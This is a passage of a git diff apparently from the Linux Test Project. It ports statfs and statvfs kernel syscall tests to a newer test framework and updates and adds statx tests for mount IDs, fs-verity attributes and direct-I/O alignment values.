syscall timing. - * - * HISTORY - * 05/2002 Ported by Jacky Malcles - * - * RESTRICTIONS - * NONE +/*\ + * [Description] * + * Verify that statfs(2) fails with errno EACCES when search permission + * is denied for a component of the path prefix of path. */ -#include -#include -#include -#include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" -#include - -char *TCID = "statfs03"; -int TST_TOTAL = 1; -int fileHandle = 0; -char nobody_uid[] = "nobody"; -struct passwd *ltpuser; - -char fname[30] = "testfile"; -char path[50]; -struct statfs buf; +#include +#include "tst_test.h" -void setup(void); -void cleanup(void); +#define TEMP_DIR "testdir" +#define TEMP_DIR2 TEMP_DIR"/subdir" -int main(int ac, char **av) +static void setup(void) { - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; + struct passwd *ltpuser; - TEST(statfs(path, &buf)); + SAFE_MKDIR(TEMP_DIR, 0444); + SAFE_MKDIR(TEMP_DIR2, 0444); - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "call succeeded unexpectedly"); - - } else { - - if (TEST_ERRNO == EACCES) { - tst_resm(TPASS, "expected failure - " - "errno = %d : %s", TEST_ERRNO, - strerror(TEST_ERRNO)); - } else { - tst_resm(TFAIL, "unexpected error - %d : %s - " - "expected %d", TEST_ERRNO, - strerror(TEST_ERRNO), EACCES); - } - } - } - - cleanup(); - tst_exit(); + ltpuser = SAFE_GETPWNAM("nobody"); + SAFE_SETEUID(ltpuser->pw_uid); } -/* - * setup() - performs all ONE TIME setup for this test. - */ -void setup(void) +static void run(void) { + struct statfs buf; - tst_require_root(); - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - /* make a temporary directory and cd to it */ - tst_tmpdir(); - SAFE_CHMOD(cleanup, tst_get_tmpdir(), S_IRWXU); - - /* create a test file */ - sprintf(fname, "%s.%d", fname, getpid()); - if (mkdir(fname, 0444) == -1) { - tst_resm(TFAIL, "creat(2) FAILED to creat temp file"); - } else { - sprintf(path, "%s/%s", fname, fname); - if ((fileHandle = creat(path, 0444)) == -1) - tst_brkm(TFAIL | TERRNO, cleanup, "creat failed"); - } - - ltpuser = getpwnam(nobody_uid); - if (ltpuser == NULL) - tst_brkm(TBROK | TERRNO, cleanup, "getpwnam failed"); - if (seteuid(ltpuser->pw_uid) == -1) { - tst_resm(TINFO | TERRNO, "seteuid failed to " - "to set the effective uid to %d", ltpuser->pw_uid); - } - + TST_EXP_FAIL(statfs(TEMP_DIR2, &buf), EACCES); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - /* reset the process ID to the saved ID (root) */ - if (setuid(0) == -1) { - tst_resm(TINFO, "setuid(0) failed"); - } - - /* - * print timing stats if that option was specified. - * print errno log if that option was specified. - */ - close(fileHandle); - - /* delete the test directory created in setup() */ - tst_rmdir(); - -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_tmpdir = 1, + .needs_root = 1 +}; diff --git a/testcases/kernel/syscalls/statvfs/statvfs01.c b/testcases/kernel/syscalls/statvfs/statvfs01.c index e3b356c9..c10c67b1 100755 --- a/testcases/kernel/syscalls/statvfs/statvfs01.c +++ b/testcases/kernel/syscalls/statvfs/statvfs01.c @@ -1,92 +1,63 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) Wipro Technologies Ltd, 2005. All Rights Reserved. * AUTHOR: Prashant P Yendigeri - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * DESCRIPTION - * This is a Phase I test for the statvfs(2) system call. - * It is intended to provide a limited exposure of the system call. - * This call behaves similar to statfs. + +/*\ + * [Description] + * + * Verify that statvfs() executes successfully for all + * available filesystems. Verify statvfs.f_namemax field + * by trying to create files of valid and invalid length names. */ -#include -#include -#include #include -#include - -#include "test.h" +#include "tst_test.h" -#define TEST_PATH "/" +#define MNT_POINT "mntpoint" +#define TEST_PATH MNT_POINT"/testfile" +#define NLS_MAX_CHARSET_SIZE 6 -static void setup(void); -static void cleanup(void); - -char *TCID = "statvfs01"; -int TST_TOTAL = 1; - -int main(int ac, char **av) +static void run(void) { struct statvfs buf; - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); + char valid_fname[PATH_MAX], toolong_fname[PATH_MAX]; + long fs_type; + long valid_len; - for (lc = 0; TEST_LOOPING(lc); lc++) { + fs_type = tst_fs_type(TEST_PATH); - tst_count = 0; + TST_EXP_PASS(statvfs(TEST_PATH, &buf)); - TEST(statvfs(TEST_PATH, &buf)); + valid_len = buf.f_namemax; + if (fs_type == TST_VFAT_MAGIC || fs_type == TST_EXFAT_MAGIC) + valid_len = buf.f_namemax / NLS_MAX_CHARSET_SIZE; - if (TEST_RETURN == -1) { - tst_resm(TFAIL | TTERRNO, "statvfs(%s, ...) failed", - TEST_PATH); - } else { - tst_resm(TPASS, "statvfs(%s, ...) passed", TEST_PATH); - } + memset(valid_fname, 'a', valid_len); + memset(toolong_fname, 'b', valid_len + 1); - } + valid_fname[valid_len] = 0; + toolong_fname[valid_len+1] = 0; - tst_resm(TINFO, "This call is similar to statfs"); - tst_resm(TINFO, "Extracting info about the '%s' file system", - TEST_PATH); - tst_resm(TINFO, "file system block size = %lu bytes", buf.f_bsize); - tst_resm(TINFO, "file system fragment size = %lu bytes", buf.f_frsize); - tst_resm(TINFO, "file system free blocks = %ju", - (uintmax_t) buf.f_bfree); - tst_resm(TINFO, "file system total inodes = %ju", - (uintmax_t) buf.f_files); - tst_resm(TINFO, "file system free inodes = %ju", - (uintmax_t) buf.f_ffree); - tst_resm(TINFO, "file system id = %lu", buf.f_fsid); - tst_resm(TINFO, "file system max filename length = %lu", buf.f_namemax); + TST_EXP_FD(creat(valid_fname, 0444)); + if (TST_PASS) + SAFE_CLOSE(TST_RET); - cleanup(); - tst_exit(); + TST_EXP_FAIL(creat(toolong_fname, 0444), ENAMETOOLONG); } static void setup(void) { - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + SAFE_TOUCH(TEST_PATH, 0666, NULL); } -static void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = run, + .setup = setup, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNT_POINT, + .all_filesystems = 1 +}; diff --git a/testcases/kernel/syscalls/statvfs/statvfs02.c b/testcases/kernel/syscalls/statvfs/statvfs02.c index 927cedc6..6f36530b 100755 --- a/testcases/kernel/syscalls/statvfs/statvfs02.c +++ b/testcases/kernel/syscalls/statvfs/statvfs02.c @@ -1,119 +1,71 @@ +// SPDX-License-Identifier: GPL-2.0 + /* * Copyright (c) 2014 Fujitsu Ltd. * Author: Zeng Linggang + * Copyright (c) 2022 SUSE LLC Avinesh Kumar + */ + +/*\ + * [Description] * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * Verify that statvfs() fails with: * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - */ -/* - * Test Description: - * Verify that, - * 1. path is NULL, EFAULT would return. - * 2. Too many symbolic links were encountered in translating path, - * ELOOP would return. - * 3. path is too long, ENAMETOOLONG would return. - * 4. The file referred to by path does not exist, ENOENT would return. - * 5. A component of the path prefix of path is not a directory, - * ENOENT would return. + * - EFAULT when path points to an invalid address. + * - ELOOP when too many symbolic links were encountered in translating path. + * - ENAMETOOLONG when path is too long. + * - ENOENT when the file referred to by path does not exist. + * - ENOTDIR a component of the path prefix of path is not a directory. */ -#include #include -#include -#include "test.h" -#include "safe_macros.h" +#include "tst_test.h" #define TEST_SYMLINK "statvfs_symlink" #define TEST_FILE "statvfs_file" -char *TCID = "statvfs02"; - static struct statvfs buf; static char nametoolong[PATH_MAX+2]; -static void setup(void); -static void cleanup(void); -static struct test_case_t { +static struct tcase { char *path; struct statvfs *buf; int exp_errno; -} test_cases[] = { - {NULL, &buf, EFAULT}, +} tcases[] = { + {(char *)-1, &buf, EFAULT}, {TEST_SYMLINK, &buf, ELOOP}, {nametoolong, &buf, ENAMETOOLONG}, {"filenoexist", &buf, ENOENT}, {"statvfs_file/test", &buf, ENOTDIR}, }; -int TST_TOTAL = ARRAY_SIZE(test_cases); -static void statvfs_verify(const struct test_case_t *); - -int main(int argc, char **argv) -{ - int i, lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - for (i = 0; i < TST_TOTAL; i++) - statvfs_verify(&test_cases[i]); - } - - cleanup(); - tst_exit(); -} - static void setup(void) { - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + unsigned int i; - tst_tmpdir(); - - SAFE_SYMLINK(cleanup, TEST_SYMLINK, "statfs_symlink_2"); - SAFE_SYMLINK(cleanup, "statfs_symlink_2", TEST_SYMLINK); + SAFE_SYMLINK(TEST_SYMLINK, "symlink_2"); + SAFE_SYMLINK("symlink_2", TEST_SYMLINK); memset(nametoolong, 'a', PATH_MAX+1); + SAFE_TOUCH(TEST_FILE, 0644, NULL); - SAFE_TOUCH(cleanup, TEST_FILE, 0644, NULL); - - test_cases[0].path = SAFE_MMAP(cleanup, NULL, 1, PROT_NONE, - MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); + for (i = 0; i < ARRAY_SIZE(tcases); i++) { + if (tcases[i].path == (char *)-1) + tcases[i].path = tst_get_bad_addr(NULL); + } } -static void statvfs_verify(const struct test_case_t *test) +static void run(unsigned int i) { - TEST(statvfs(test->path, test->buf)); + struct tcase *tc = &tcases[i]; - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "statvfs() succeeded unexpectedly"); - return; - } - - if (TEST_ERRNO == test->exp_errno) { - tst_resm(TPASS | TTERRNO, "statvfs() failed as expected"); - } else { - tst_resm(TFAIL | TTERRNO, - "statvfs() failed unexpectedly; expected: %d - %s", - test->exp_errno, strerror(test->exp_errno)); - } + TST_EXP_FAIL(statvfs(tc->path, tc->buf), tc->exp_errno); } -static void cleanup(void) -{ - tst_rmdir(); -} +static struct tst_test test = { + .setup = setup, + .test = run, + .tcnt = ARRAY_SIZE(tcases), + .needs_tmpdir = 1 +}; diff --git a/testcases/kernel/syscalls/statx/.gitignore b/testcases/kernel/syscalls/statx/.gitignore index 4db060db..f6a423ee 100755 --- a/testcases/kernel/syscalls/statx/.gitignore +++ b/testcases/kernel/syscalls/statx/.gitignore @@ -6,3 +6,7 @@ /statx06 /statx07 /statx08 +/statx09 +/statx10 +/statx11 +/statx12 diff --git a/testcases/kernel/syscalls/statx/statx01.c b/testcases/kernel/syscalls/statx/statx01.c index 98e1dfcd..f9c2748d 100755 --- a/testcases/kernel/syscalls/statx/statx01.c +++ b/testcases/kernel/syscalls/statx/statx01.c @@ -33,6 +33,7 @@ #include "tst_test.h" #include "tst_safe_macros.h" #include "lapi/stat.h" +#include "lapi/fcntl.h" #include "tst_safe_stdio.h" #include #include @@ -53,7 +54,7 @@ static void test_mnt_id(struct statx *buf) { FILE *file; char line[PATH_MAX]; - int pid; + int pid, flag = 0; unsigned int line_mjr, line_mnr; uint64_t mnt_id; @@ -65,23 +66,29 @@ static void test_mnt_id(struct statx *buf) file = SAFE_FOPEN("/proc/self/mountinfo", "r"); while (fgets(line, sizeof(line), file)) { - if (sscanf(line, "%ld %*d %d:%d", &mnt_id, &line_mjr, &line_mnr) != 3) + if (sscanf(line, "%"SCNu64" %*d %d:%d", &mnt_id, &line_mjr, &line_mnr) != 3) continue; - if (line_mjr == buf->stx_dev_major && line_mnr == buf->stx_dev_minor) - break; + if (line_mjr == buf->stx_dev_major && line_mnr == buf->stx_dev_minor) { + if (buf->stx_mnt_id == mnt_id) { + flag = 1; + break; + } + tst_res(TINFO, "%s doesn't contain %"PRIu64" %d:%d", + line, (uint64_t)buf->stx_mnt_id, buf->stx_dev_major, buf->stx_dev_minor); + } } SAFE_FCLOSE(file); - if (buf->stx_mnt_id == mnt_id) + if (flag) tst_res(TPASS, "statx.stx_mnt_id equals to mount_id(%"PRIu64") in /proc/self/mountinfo", mnt_id); else tst_res(TFAIL, - "statx.stx_mnt_id(%"PRIu64") is different from mount_id(%"PRIu64") in /proc/self/mountinfo", - (uint64_t)buf->stx_mnt_id, mnt_id); + "statx.stx_mnt_id(%"PRIu64") doesn't exist in /proc/self/mountinfo", + (uint64_t)buf->stx_mnt_id); pid = getpid(); snprintf(line, PATH_MAX, "/proc/%d/fdinfo/%d", pid, file_fd); @@ -198,7 +205,7 @@ static void setup(void) memset(data_buff, '@', sizeof(data_buff)); file_fd = SAFE_OPEN(TESTFILE, O_RDWR|O_CREAT, MODE); - SAFE_WRITE(1, file_fd, data_buff, sizeof(data_buff)); + SAFE_WRITE(SAFE_WRITE_ALL, file_fd, data_buff, sizeof(data_buff)); SAFE_MKNOD(DEVICEFILE, S_IFBLK | 0777, makedev(MAJOR, MINOR)); } diff --git a/testcases/kernel/syscalls/statx/statx02.c b/testcases/kernel/syscalls/statx/statx02.c index c96859f4..5ed80894 100755 --- a/testcases/kernel/syscalls/statx/statx02.c +++ b/testcases/kernel/syscalls/statx/statx02.c @@ -28,6 +28,7 @@ #include "tst_test.h" #include "tst_safe_macros.h" #include "lapi/stat.h" +#include "lapi/fcntl.h" #define TESTFILE "test_temp" #define LINK_FILE "test_temp_ln" @@ -107,7 +108,7 @@ static void setup(void) char data_buf[SIZE] = "LinusTorvalds"; file_fd = SAFE_OPEN(TESTFILE, O_RDWR | O_CREAT, MODE); - SAFE_WRITE(0, file_fd, data_buf, sizeof(data_buf)); + SAFE_WRITE(SAFE_WRITE_ANY, file_fd, data_buf, sizeof(data_buf)); SAFE_SYMLINK(TESTFILE, LINK_FILE); } diff --git a/testcases/kernel/syscalls/statx/statx03.c b/testcases/kernel/syscalls/statx/statx03.c index b8880906..2465d877 100755 --- a/testcases/kernel/syscalls/statx/statx03.c +++ b/testcases/kernel/syscalls/statx/statx03.c @@ -24,6 +24,7 @@ #include "tst_safe_macros.h" #include "tst_get_bad_addr.h" #include "lapi/stat.h" +#include "lapi/fcntl.h" #define TESTFILE "test_file" #define MODE 0644 diff --git a/testcases/kernel/syscalls/statx/statx04.c b/testcases/kernel/syscalls/statx/statx04.c index 08329831..58296bd2 100755 --- a/testcases/kernel/syscalls/statx/statx04.c +++ b/testcases/kernel/syscalls/statx/statx04.c @@ -17,7 +17,7 @@ * xfs filesystem doesn't support STATX_ATTR_COMPRESSED flag, so we only test * three other flags. * - * ext2, ext4, btrfs and xfs support statx syscall since the following commit + * ext2, ext4, btrfs, xfs and tmpfs support statx syscall since the following commit * * commit 93bc420ed41df63a18ae794101f7cbf45226a6ef * Author: yangerkun @@ -42,13 +42,21 @@ * Date: Fri Mar 31 18:32:03 2017 +0100 * * xfs: report crtime and attribute flags to statx + * + * commit e408e695f5f1f60d784913afc45ff2c387a5aeb8 + * Author: Theodore Ts'o + * Date: Thu Jul 14 21:59:12 2022 -0400 + * + * mm/shmem: support FS_IOC_[SG]ETFLAGS in tmpfs + * */ #define _GNU_SOURCE +#include #include "tst_test.h" #include "lapi/fs.h" -#include #include "lapi/stat.h" +#include "lapi/fcntl.h" #define MOUNT_POINT "mntpoint" #define TESTDIR MOUNT_POINT "/testdir" @@ -88,8 +96,8 @@ static void setup(void) for (i = 0, expected_mask = 0; i < ARRAY_SIZE(attr_list); i++) expected_mask |= attr_list[i].attr; - /* STATX_ATTR_COMPRESSED not supported on XFS */ - if (!strcmp(tst_device->fs_type, "xfs")) + /* STATX_ATTR_COMPRESSED not supported on XFS, TMPFS */ + if (!strcmp(tst_device->fs_type, "xfs") || !strcmp(tst_device->fs_type, "tmpfs")) expected_mask &= ~STATX_ATTR_COMPRESSED; /* Attribute support was added to Btrfs statx() in kernel v4.13 */ @@ -125,6 +133,7 @@ static struct tst_test test = { .min_kver = "4.11", .skip_filesystems = (const char *const[]) { "fuse", + "ntfs", NULL }, .tags = (const struct tst_tag[]) { @@ -132,6 +141,7 @@ static struct tst_test test = { {"linux-git", "99652ea56a41"}, {"linux-git", "04a87e347282"}, {"linux-git", "5f955f26f3d4"}, + {"linux-git", "e408e695f5f1"}, {} }, }; diff --git a/testcases/kernel/syscalls/statx/statx05.c b/testcases/kernel/syscalls/statx/statx05.c index f62dadd5..9781b3e7 100755 --- a/testcases/kernel/syscalls/statx/statx05.c +++ b/testcases/kernel/syscalls/statx/statx05.c @@ -27,6 +27,7 @@ #include "tst_test.h" #include "lapi/fs.h" #include "lapi/stat.h" +#include "lapi/fcntl.h" #define MNTPOINT "mnt_point" #define TESTDIR_FLAGGED MNTPOINT"/test_dir1" diff --git a/testcases/kernel/syscalls/statx/statx06.c b/testcases/kernel/syscalls/statx/statx06.c index 4a0685a6..1771dff4 100755 --- a/testcases/kernel/syscalls/statx/statx06.c +++ b/testcases/kernel/syscalls/statx/statx06.c @@ -1,4 +1,4 @@ -// SPDX-License-Identifier: GPL-2.0 or later +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Zilogic Systems Pvt. Ltd., 2018 * Email : code@zilogic.com @@ -20,7 +20,6 @@ #define _GNU_SOURCE #include -#include #include #include "tst_test.h" @@ -68,7 +67,7 @@ static void write_file(void) { char data[SIZE] = "hi"; - SAFE_WRITE(0, fd, data, sizeof(data)); + SAFE_WRITE(SAFE_WRITE_ANY, fd, data, sizeof(data)); } static void read_file(void) @@ -110,12 +109,12 @@ static void test_statx(unsigned int test_nr) clock_wait_tick(); tc->operation(); clock_wait_tick(); - SAFE_CLOCK_GETTIME(CLOCK_REALTIME_COARSE, &after_time); + SAFE_CLOCK_GETTIME(CLOCK_REALTIME, &after_time); - TEST(statx(AT_FDCWD, TEST_FILE, 0, STATX_ALL, &buff)); + TEST(statx(AT_FDCWD, TEST_FILE, 0, STATX_BASIC_STATS | STATX_BTIME, &buff)); if (TST_RET != 0) { tst_brk(TFAIL | TTERRNO, - "statx(AT_FDCWD, %s, 0, STATX_ALL, &buff)", + "statx(AT_FDCWD, %s, 0, STATX_BASIC_STATS | STATX_BTIME, &buff)", TEST_FILE); } diff --git a/testcases/kernel/syscalls/statx/statx07.c b/testcases/kernel/syscalls/statx/statx07.c index e1ae36a3..4dbf83e1 100755 --- a/testcases/kernel/syscalls/statx/statx07.c +++ b/testcases/kernel/syscalls/statx/statx07.c @@ -27,12 +27,7 @@ * but mode has been chaged in server file. * * The support for SYNC flags was implemented in NFS in: - * - * commit 9ccee940bd5b766b6dab6c1a80908b9490a4850d - * Author: Trond Myklebust - * Date: Thu Jan 4 17:46:09 2018 -0500 - * - * Support statx() mask and query flags parameters + * 9ccee940bd5b ("Support statx() mask and query flags parameters") */ #define _GNU_SOURCE @@ -44,6 +39,7 @@ #include #include "tst_test.h" #include "lapi/stat.h" +#include "lapi/fcntl.h" #define MODE(X) (X & (~S_IFMT)) #define FLAG_NAME(x) .flag = x, .flag_name = #x @@ -67,15 +63,15 @@ static int get_mode(char *file_name, int flag_type, char *flag_name) { struct statx buf; - TEST(statx(AT_FDCWD, file_name, flag_type, STATX_ALL, &buf)); + TEST(statx(AT_FDCWD, file_name, flag_type, STATX_BASIC_STATS, &buf)); if (TST_RET == -1) { tst_brk(TFAIL | TST_ERR, - "statx(AT_FDCWD, %s, %s, STATX_ALL, &buf)", + "statx(AT_FDCWD, %s, %s, STATX_BASIC_STATS, &buf)", file_name, flag_name); } - tst_res(TINFO, "statx(AT_FDCWD, %s, %s, STATX_ALL, &buf) = %o", + tst_res(TINFO, "statx(AT_FDCWD, %s, %s, STATX_BASIC_STATS, &buf) = %o", file_name, flag_name, buf.stx_mode); return buf.stx_mode; @@ -149,6 +145,9 @@ static void setup(void) static void cleanup(void) { + if (mounted) + SAFE_UMOUNT(CLI_PATH); + if (!exported) return; snprintf(cmd, sizeof(cmd), @@ -156,9 +155,6 @@ static void cleanup(void) if (tst_system(cmd) == -1) tst_res(TWARN | TST_ERR, "failed to clear exportfs"); - - if (mounted) - SAFE_UMOUNT(CLI_PATH); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/statx/statx08.c b/testcases/kernel/syscalls/statx/statx08.c index 10b1ca46..64b36986 100755 --- a/testcases/kernel/syscalls/statx/statx08.c +++ b/testcases/kernel/syscalls/statx/statx08.c @@ -26,6 +26,7 @@ #include "lapi/fs.h" #include #include "lapi/stat.h" +#include "lapi/fcntl.h" #define MOUNT_POINT "mntpoint" #define TESTDIR_FLAGGED MOUNT_POINT"/test_dir1" diff --git a/testcases/kernel/syscalls/statx/statx09.c b/testcases/kernel/syscalls/statx/statx09.c new file mode 100644 index 00000000..6e75ff3e --- /dev/null +++ b/testcases/kernel/syscalls/statx/statx09.c @@ -0,0 +1,168 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. + * Author: Dai Shili + */ + +/*\ + * [Description] + * + * This code tests if STATX_ATTR_VERITY flag in the statx attributes is set correctly. + * + * The statx() system call sets STATX_ATTR_VERITY if the file has fs-verity + * enabled. This can perform better than FS_IOC_GETFLAGS and + * FS_IOC_MEASURE_VERITY because it doesn't require opening the file, and + * opening verity files can be expensive. + * + * Minimum Linux version required is v5.5. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include "tst_test.h" +#include "lapi/fs.h" +#include "lapi/fsverity.h" +#include "lapi/stat.h" +#include "lapi/fcntl.h" +#include + +#define MNTPOINT "mnt_point" +#define TESTFILE_FLAGGED MNTPOINT"/test_file1" +#define TESTFILE_UNFLAGGED MNTPOINT"/test_file2" + +static int mount_flag; + +static const uint32_t hash_algorithms[] = { + FS_VERITY_HASH_ALG_SHA256, +}; + +static void test_flagged(void) +{ + struct statx buf; + + TST_EXP_PASS(statx(AT_FDCWD, TESTFILE_FLAGGED, 0, 0, &buf), + "statx(AT_FDCWD, %s, 0, 0, &buf)", TESTFILE_FLAGGED); + + if (buf.stx_attributes & STATX_ATTR_VERITY) + tst_res(TPASS, "STATX_ATTR_VERITY flag is set: (%"PRIu64") ", + (uint64_t)buf.stx_attributes); + else + tst_res(TFAIL, "STATX_ATTR_VERITY flag is not set"); +} + +static void test_unflagged(void) +{ + struct statx buf; + + TST_EXP_PASS(statx(AT_FDCWD, TESTFILE_UNFLAGGED, 0, 0, &buf), + "statx(AT_FDCWD, %s, 0, 0, &buf)", TESTFILE_UNFLAGGED); + + if ((buf.stx_attributes & STATX_ATTR_VERITY) == 0) + tst_res(TPASS, "STATX_ATTR_VERITY flag is not set"); + else + tst_res(TFAIL, "STATX_ATTR_VERITY flag is set"); +} + +static struct test_cases { + void (*tfunc)(void); +} tcases[] = { + {&test_flagged}, + {&test_unflagged}, +}; + +static void run(unsigned int i) +{ + tcases[i].tfunc(); +} + +static void flag_setup(void) +{ + int fd, attr, ret; + struct fsverity_enable_arg enable; + struct stat statbuf; + + fd = SAFE_OPEN(TESTFILE_FLAGGED, O_RDONLY, 0664); + SAFE_FSTAT(fd, &statbuf); + + ret = ioctl(fd, FS_IOC_GETFLAGS, &attr); + if (ret < 0) { + if (errno == ENOTTY) + tst_brk(TCONF | TERRNO, "FS_IOC_GETFLAGS not supported"); + + tst_brk(TBROK | TERRNO, "ioctl(%i, FS_IOC_GETFLAGS, ...)", fd); + } + + memset(&enable, 0, sizeof(enable)); + enable.version = 1; + enable.hash_algorithm = hash_algorithms[0]; + enable.block_size = statbuf.st_blksize; + enable.salt_size = 0; + enable.salt_ptr = (intptr_t)NULL; + enable.sig_size = 0; + enable.sig_ptr = (intptr_t)NULL; + + ret = ioctl(fd, FS_IOC_ENABLE_VERITY, &enable); + if (ret < 0) { + if (errno == EOPNOTSUPP) { + tst_brk(TCONF, + "fs-verity is not supported on the file system or by the kernel"); + } + tst_brk(TBROK | TERRNO, "ioctl(%i, FS_IOC_ENABLE_VERITY) failed", fd); + } + + ret = ioctl(fd, FS_IOC_GETFLAGS, &attr); + if ((ret == 0) && !(attr & FS_VERITY_FL)) + tst_res(TFAIL, "%i: fs-verity enabled but FS_VERITY_FL bit not set", fd); + + SAFE_CLOSE(fd); +} + +static void setup(void) +{ + char opt_bsize[32]; + const char *const fs_opts[] = {"-O verity", opt_bsize, NULL}; + + snprintf(opt_bsize, sizeof(opt_bsize), "-b %i", getpagesize()); + SAFE_MKFS(tst_device->dev, tst_device->fs_type, fs_opts, NULL); + + TEST(mount(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, NULL)); + if (TST_RET) { + if (TST_ERR == EINVAL) + tst_brk(TCONF, "fs-verity not supported on loopdev"); + + tst_brk(TBROK | TERRNO, "mount() failed with %ld", TST_RET); + } + mount_flag = 1; + + SAFE_FILE_PRINTF(TESTFILE_FLAGGED, "a"); + SAFE_FILE_PRINTF(TESTFILE_UNFLAGGED, "a"); + + flag_setup(); +} + +static void cleanup(void) +{ + if (mount_flag) + tst_umount(MNTPOINT); +} + +static struct tst_test test = { + .test = run, + .tcnt = ARRAY_SIZE(tcases), + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .needs_device = 1, + .mntpoint = MNTPOINT, + .dev_fs_type = "ext4", + .needs_kconfigs = (const char *[]) { + "CONFIG_FS_VERITY", + NULL + }, + .needs_cmds = (const char *[]) { + "mkfs.ext4 >= 1.45.2", + NULL + } +}; diff --git a/testcases/kernel/syscalls/statx/statx10.c b/testcases/kernel/syscalls/statx/statx10.c new file mode 100644 index 00000000..42106285 --- /dev/null +++ b/testcases/kernel/syscalls/statx/statx10.c @@ -0,0 +1,93 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 FUJITSU LIMITED. All rights reserved. + * Author: Yang Xu + */ + +/*\ + * [Description] + * + * It is a basic test for STATX_DIOALIGN mask on ext4 and xfs filesystem. + * + * - STATX_DIOALIGN Want stx_dio_mem_align and stx_dio_offset_align value + * + * Check these two values are nonzero under dio situation when STATX_DIOALIGN + * in the request mask. + * + * On ext4, files that use certain filesystem features (data journaling, + * encryption, and verity) fall back to buffered I/O. But ltp creates own + * filesystem by enabling mount_device in tst_test struct. If we set block + * device to LTP_DEV environment, we use this block device to mount by using + * default mount option. Otherwise, use loop device to simuate it. So it can + * avoid these above situations and don't fall back to buffered I/O. + * + * Minimum Linux version required is v6.1. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include "tst_test.h" +#include "lapi/stat.h" +#include "lapi/fcntl.h" + +#define MNTPOINT "mnt_point" +#define TESTFILE MNTPOINT"/testfile" + +static void verify_statx(void) +{ + struct statx buf; + + TST_EXP_PASS_SILENT(statx(AT_FDCWD, TESTFILE, 0, STATX_DIOALIGN, &buf), + "statx(AT_FDCWD, %s, 0, STATX_DIOALIGN, &buf)", TESTFILE); + + if (!(buf.stx_mask & STATX_DIOALIGN)) { + tst_res(TCONF, "Filesystem does not support STATX_DIOALIGN"); + return; + } + +#ifdef HAVE_STRUCT_STATX_STX_DIO_MEM_ALIGN + if (buf.stx_dio_mem_align != 0) + tst_res(TPASS, "stx_dio_mem_align:%u", buf.stx_dio_mem_align); + else + tst_res(TFAIL, "stx_dio_mem_align was 0, but DIO should be supported"); + + if (buf.stx_dio_offset_align != 0) + tst_res(TPASS, "stx_dio_offset_align:%u", buf.stx_dio_offset_align); + else + tst_res(TFAIL, "stx_dio_offset_align was 0, but DIO should be supported"); +#else + tst_res(TCONF, "glibc statx struct miss stx_dio_mem_align field"); +#endif +} + +static void setup(void) +{ + int fd = -1; + + if (strcmp(tst_device->fs_type, "xfs") && strcmp(tst_device->fs_type, "ext4")) + tst_brk(TCONF, "This test only supports ext4 and xfs"); + + SAFE_FILE_PRINTF(TESTFILE, "AAAA"); + fd = open(TESTFILE, O_RDWR | O_DIRECT); + if (fd == -1) { + if (errno == EINVAL) + tst_brk(TCONF, + "The regular file is not on a filesystem that support DIO"); + else + tst_brk(TBROK | TERRNO, + "The regular file is open with O_RDWR | O_DIRECT failed"); + } + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = verify_statx, + .setup = setup, + .needs_root = 1, + .mntpoint = MNTPOINT, + .mount_device = 1, + .all_filesystems = 1, +}; diff --git a/testcases/kernel/syscalls/statx/statx11.c b/testcases/kernel/syscalls/statx/statx11.c new file mode 100644 index 00000000..65305085 --- /dev/null +++ b/testcases/kernel/syscalls/statx/statx11.c @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 FUJITSU LIMITED. All rights reserved. + * Author: Yang Xu + */ + +/*\ + * [Description] + * + * It is a basic test for STATX_DIOALIGN mask on block device. + * + * - STATX_DIOALIGN Want stx_dio_mem_align and stx_dio_offset_align value + * + * These two values are tightly coupled to the kernel's current DIO + * restrictions on block devices. + * + * Minimum Linux version required is v6.1. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include "tst_test.h" +#include "lapi/stat.h" + +static char sys_bdev_dma_path[1024], sys_bdev_logical_path[1024]; + +static void verify_statx(void) +{ + struct statx buf; + + TST_EXP_PASS_SILENT(statx(AT_FDCWD, 